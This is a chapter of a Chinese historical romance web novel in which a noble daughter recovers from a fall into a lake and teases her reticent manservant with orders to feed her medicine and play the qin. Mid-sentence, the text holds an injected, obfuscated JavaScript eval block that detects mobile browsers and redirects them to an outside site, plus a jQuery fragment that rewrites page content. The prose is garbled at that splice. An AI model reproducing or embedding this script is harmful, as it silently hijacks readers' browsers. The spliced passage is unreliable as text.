陈榕走回西溪院时,知秋正在院中晾衣。
“小姐?!”
知秋越走近,面色越惊,“您这是怎么了?怎的湿成这样?”
“方才掉湖里了。”陈榕说完,还冲她笑了下。
“这……这……怎会掉进湖里去?”知秋扶着陈榕,摸到她里头湿透的衣裳,触手冰凉,赶忙朝屋里喊:“知夏,快些烧热水!”
“姐姐在湖边被一只鹅惊着了,我站得近,不防一同掉了进去。”
“不过刚落水便被人救上来了,并无大碍,不必担心。”
“怎能不担心!”知秋声音又急又慌,“这天儿掉进湖里,您还迎着风一路走回来!”
刚踏进屋里,知夏便跑了过来,瞧见陈榕的模样也吓了一跳,“这是怎么了?”
她连忙取了条毯子给陈榕披上,知秋见状,去倒了一杯热茶。
陈榕捧着热茶,又将经过解释了一遍,知夏与知秋听完,皆是一副天塌了的模样。
“不成,这得请大夫!奴婢这就去,今日便是跪着求,也要把府医求来!”知夏说着便要往外冲。
陈榕一把拦住她,她看出知夏此时太过激动,真出去了还不知会发生什么。
“这会儿府医只怕都去沁芳院了,你去了也是白跑,上次给你的药还剩些,我喝那个就好。”
“可那只剩下一点点了。”知夏仍是满脸担忧,又万分懊恼,“奴婢今日该跟着小姐的,一时不察,竟教小姐落了水,奴婢罪该万死!”
见她钻了牛角尖,连眼圈都红了,陈榕温声安抚:“先瞧瞧再说,若真需请大夫,到时我一定让你去。”
知夏低着头不肯看陈榕,只用手背悄悄抹泪。
陈榕正要再劝,忽听到有人叩门,三人俱是一愣。
知秋面带疑惑地去开门,不多时却喜气洋洋地回来了,身后还跟着一位大夫。
“小姐,府医来了!”
陈榕微讶,抬眸望向那府医。
府医瞧出她的不解,主动道明:“小的方才去了沁芳院,大小姐说二小姐也落了水,命小的过来瞧瞧。”
大小姐?
陈榕略一沉吟,没再多问,“那便有劳您了。”
府医替陈榕诊了脉,开了几副驱寒的药便告辞离去。
到了晚间,陈榕果然发起热来,知秋和知夏忙前忙后,但幸而有药,省去了不少麻烦。
***
这几日沁芳院里人来人往,忙得不可开交,昨日老太太和陈夫人都亲自来过,请了好几位大夫,今日连陈鸿与陈皓川下值之后也赶来探望。
万千宠爱的大小姐受惊落了水,在陈府之中绝对是了不得的大事,为此老太太昨日已发落了好些人,陈映柳也被训斥了一顿,昨日来沁芳院看过陈玉竹之后便被罚在院中思过。
丝雨单手轻推开门,侧身挤了进去,又小心掩上。
屋里烧得极暖和,她端着托盘走到床前,瞧见了坐在脚踏上的陆玉卿。
今日等所有探望的人都走了,陈玉竹却不叫她与晴雪伺候,只留陆玉卿在屋里陪着,是以她们都格外小心,整日在屋外守着,生怕出什么差错,传了不好听的话出去。
目光往上移了移,丝雨又望了望床上闭着眼的人,那张平日里明艳照人的脸,此刻透着几分虚弱。
见丝雨来了,陆玉卿站起身,丝雨将托盘递给他,一句话也未说,又悄无声息地退了出去。
待门关上,陈玉竹缓缓睁开了眼,陆玉卿刚把托盘放到床边几上,回头便与她的目光撞了个正着。
“小的去唤丝雨来服侍小姐用药。”
“站住。”
陆玉卿应声立住。
“你来喂。”
那声音略有些沙哑,却不容置喙,陆玉卿站着如一段木头。
良久,他近前几步,小心翼翼地扶起陈玉竹,往她后腰塞了一只软枕,又从衣架上取了氅衣披在她肩上,一举一动,都在刻意避着碰她。
做完这些,陆玉卿去桌边端了药碗,他先用手背试了试碗壁的温度,觉着妥当了,才舀起一勺送到她唇边。
陈玉竹盯着那勺子半晌不动,陆玉卿便一直举着,举到胳膊发酸。
可陈玉竹还是不动,只一瞬不瞬地望着他。
“你从前认得二小姐吗?”
药碗微微晃了一晃,陆玉卿稳住手腕,虽不知她为何忽然问起这个,仍是迎着那道审视的目光,平静答道:“小的并不认得二小姐。”
“那为何那日我二人同时落水,你却先救的她?!”
陈玉竹的声音再无法镇定,她想起自己那日在水中挣扎时看见的场景。
明明是她的小厮,在危急关头拉住的却是旁人,就在她眼前,就在她快要溺死的时候。
那场景,扎眼得叫人忘不掉。
“小姐恕罪,那日情势危急,小的只顾着救人,未曾多想。”
彼时陈榕已快要沉下去,且离岸边更远,他只是依着轻重缓急,先去救了处境更凶险的那个。
“你的意思是,在你眼里我与旁人并无分别?”
陈玉竹微扬起下巴,眸光透着凉意,“你可还记得自己的身份?”
陆玉卿顿了顿,跪了下去。
“小姐恕罪,此事是小的思虑不周,忘了身份,还望小姐保重身子,切勿动气。”
说罢,他便不再多言,寡言少语的模样与平时并无二致。
陈玉竹仍盯着他,他素日不离自己身边,确实没有可能接触旁人,此刻望着他跪在跟前的样子,她暗暗心惊,自己竟对他如此轻而易举地信了,又如此轻易地宽容了。
“起来吧,往后记住自己的身份,你是我的人。”
“是。”陆玉卿由跪姿改为弓腰,手中仍举着那碗药汁。
陈玉竹终于凑近,就着勺子喝了口。
陆玉卿一勺一勺地喂完,又替她抽走软枕,取下氅衣,再扶她躺下。
“我头有些疼,你来替我按按。”
“小姐……这怕是不妥。”
陈玉竹神色不虞,“你刚答应过我的话,转头便忘了?”
陆玉卿怕她又动怒,只得单膝跪在榻边,微倾上身,将双手轻轻按在她太阳穴上。
陈玉竹仰视着他的脸,二人离得那样近,不经意间便会触上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512046|203040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼神,周遭一片寂静,仿佛天地间只剩下彼此的呼吸声。
感受到他指尖传来的触感,她说:“阿卿的手有些凉。”
陆玉卿停了动作,正要抽回手。
“接着按。”陈玉竹命令道。
“……是。”
***
有数位大夫日日看诊,又有下人们悉心照料,陈玉竹好得很快,只是这场风寒到底令她没法再出门,只能在沁芳院里静养。
原先想撮合林芷萱与陈皓川的事也暂时搁下了,其间思过完毕的陈映柳专程来请罪,陈玉竹连她的面都没见。
闲来读书写字,日子久了便觉无聊,到最后,陈玉竹倒是给自己寻了个乐子——逗弄陆玉卿。
她写字作画时常叫他在一旁磨墨,又要他品评自己的笔墨。
他只说好,她偏要问他好在何处,他便说不出了,那副绞尽脑汁如履薄冰的模样,总能惹得她开怀。
这日艳阳高照。
陈玉竹坐在书房里,面前是陈皓川送她的琴,阳光洒在琴弦上,也跃动在她的指尖。
一曲终了,陈玉竹侧头望向身后,“阿卿觉得我弹得如何?”
“小姐弹得极好。”
“你的答案永远只有这个。”陈玉竹笑他,“阿卿应当会弹琴吧?”
“小的不会弹琴。”
“上回问你,你也说自己不会作画,怕不是一直在骗我?”
陆玉卿想起从前,但他不愿再回忆,从前种种,即便是回忆了又能如何,不过徒增烦恼罢了。
于是他选择沉默。
陈玉竹换了个法子,“你既说不会,那我便教你。”
陆玉卿忙道:“小的不敢。”
“坐下,我不想再说第二遍。”陈玉竹压根不理他的推辞,“整日独自弹琴也没什么有趣的。”
陆玉卿不敢违逆,依言坐在她身侧,陈玉竹拨了几下弦为他演示,之后叫他试着自己来。
陆玉卿眨了眨眼,他已许久不曾碰过琴弦了,来长安这些日子,远离故土,浑浑噩噩,他似乎被过往抛弃,要重新接纳不熟悉的一切。
陈玉竹见他不动,索性上前抓住他的手,带着他去拨弦。
陆玉卿些微抗拒,胳膊往后收了收,陈玉竹却不放,自顾自地带着他动作。
片刻之后,他不再挣扎。
她带他弹了一首简单的曲子,是长安城里孩童学琴时教的第一首,他不曾听过,由她带着一音一音地弹完了。
“好了,今日便学这个。”
陈玉竹似是认准了他会,只道:“待会儿弹给我听。”
陆玉卿失神地望着琴弦上的阳光,半晌毫无反应。
陈玉竹自己又弹了会儿,然后漫不经心地瞥向他,她嘴角浮着一抹弧度,几近残忍的从容。
那目光像一把无声的刀,轻轻架在他颈间,陆玉卿垂下眼帘,遮住了眼底所有的情绪。
少顷,他指尖轻轻勾住琴弦,旋律倾泻而出——
完整的,一点不差的,正是她方才教的那首。
“这不就会了。”
陈玉竹灿然一笑,是胜者的姿态。